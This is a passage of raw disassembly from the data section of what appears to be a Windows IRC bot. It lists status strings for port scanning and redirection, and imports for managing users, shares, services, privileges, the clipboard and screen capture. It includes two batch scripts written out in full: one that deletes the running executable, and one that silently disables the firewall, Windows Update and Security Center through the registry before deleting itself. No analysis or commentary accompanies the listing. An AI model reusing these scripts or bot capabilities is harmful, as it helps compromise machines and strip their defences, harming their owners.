		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_4204B4	db    2			; DATA XREF: sub_40550F+29Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 10h
unk_420500	db    2			; DATA XREF: sub_405982+156o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '  Failed to start client thread, error: <%d>.',0
		align 10h
unk_420550	db    2			; DATA XREF: sub_405982+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '  Client connection from IP: %s:%d, Server thread: %d.',0
unk_4205A8	db    2			; DATA XREF: sub_405B0A+1AAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '  Failed to start connection thread, error: <%d>.',0
		align 4
unk_4205FC	db    2			; DATA XREF: sub_405B0A+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '  Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_405D8E+B8Co
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_405D8E+B7Fo
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_405D8E+B72o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_405D8E+B65o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_405D8E+B58o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_405D8E+B50o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_405D8E:loc_4068D1o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_405D8E+B0Eo
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_405D8E+B06o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_405D8E:loc_406887o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_405D8E+AB4o
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_405D8E+AA7o
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_405D8E+A9Ao
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_405D8E+A92o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_405D8E:loc_406813o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_405D8E+A50o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_405D8E+A48o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_405D8E:loc_4067C9o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_405D8E+A06o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_405D8E+9FEo
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_405D8E:loc_40677Fo
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_405D8E+974o
		align 10h
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_405D8E+967o
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_405D8E+95Ao
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_405D8E+94Do
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_405D8E+940o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_405D8E+933o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_405D8E+926o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_405D8E+919o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_405D8E+90Co
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_405D8E+8FFo
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_405D8E+8F7o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_405D8E:loc_406674o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_405D8E+8A9o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_405D8E+89Co
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_405D8E+894o
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_405D8E:loc_406615o
		align 10h
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_405D8E+85Ao
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_405D8E+7E8o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_405D8E+7DBo
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_405D8E+7CEo
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_405D8E+7C1o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_405D8E+7B4o
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_405D8E+7A7o
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_405D8E+79Ao
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_405D8E+78Do
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_405D8E+780o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_405D8E+778o
		align 10h
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_405D8E:loc_4064F5o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_405D8E+62Eo
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_405D8E+621o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_405D8E+614o
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_405D8E+607o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_405D8E+5FAo
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_405D8E+5EDo
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_405D8E+5E0o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_405D8E+5D3o
					; seg002:00423454o
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_405D8E+5C6o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_405D8E+5B9o
		align 10h
aBind		db 'bind',0             ; DATA XREF: sub_405D8E+5B1o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_405D8E+59Fo
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_405D8E+592o
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_405D8E+585o
		align 4
aSend		db 'send',0             ; DATA XREF: sub_405D8E+578o
					; seg000:0040AC53o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_405D8E+56Bo
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_405D8E+55Eo
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_405D8E+551o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_405D8E+544o
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_405D8E+537o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_405D8E+52Ao
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_405D8E+51Do
					; seg002:00423864o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_405D8E+510o
aSocket		db 'socket',0           ; DATA XREF: sub_405D8E+503o
		align 10h
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_405D8E+4F6o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_405D8E+4E9o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_405D8E+4DCo
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_405D8E+4CFo
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_405D8E+4C2o
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_405D8E+4B5o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_405D8E+4ADo
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_405D8E+49Co
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_405D8E+429o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_405D8E+41Co
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_405D8E+40Fo
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_405D8E+402o
		align 10h
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_405D8E+3F5o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_405D8E+3E8o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_405D8E+3DBo
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_405D8E+3CEo
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_405D8E+3C6o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_405D8E:loc_406143o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_405D8E:loc_40611Bo
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_405D8E+335o
		align 10h
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_405D8E+328o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_405D8E+31Bo
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_405D8E+30Eo
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_405D8E+301o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_405D8E+2F4o
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_405D8E+2E7o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_405D8E:loc_40606Do
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_405D8E+2AFo
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_405D8E+2A2o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_405D8E:loc_406028o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_405D8E+252o
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_405D8E+245o
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_405D8E+238o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_405D8E+22Bo
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_405D8E+21Eo
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_405D8E+216o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_405D8E:loc_405F93o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_405D8E+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_405D8E+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_405D8E+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_405D8E+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_405D8E+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_405D8E+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_405D8E+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_405D8E+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_405D8E:loc_405EC3o
					; sub_4195E1+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_405D8E:loc_405E96o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_405D8E+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_405D8E+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_405D8E+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_405D8E+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_405D8E+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_405D8E+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_405D8E+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_405D8E+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_405D8E+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_405D8E+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_405D8E+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_405D8E+Ao
		align 4
dword_420E94	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_406977+2BEo
		dd 2029206Ch, 2BBBB02h
aDllTestComplet	db '  DLL test complete.',0
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_406977+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_406977+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_406977+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_406977+1FCo
		align 10h
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_406977+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_406977+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_406977+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_406977+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_406977+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_406977+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_406977+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_406977+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_406977+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_406F91+5o
					; sub_40F9AB+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_407013+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4070B7+2o
aComspecCSS	db '%%comspec%% /c %s %s',0
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: seg000:0040715Eo
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: seg000:00407121o
		align 10h
aCAv3_bat	db 'c:\av3.bat',0       ; DATA XREF: sub_407261+29o
		align 4
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_407261+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 4
unk_4227D4	db    2			; DATA XREF: sub_407357:loc_407416o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_422818	db    2			; DATA XREF: sub_407357:loc_4073E4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
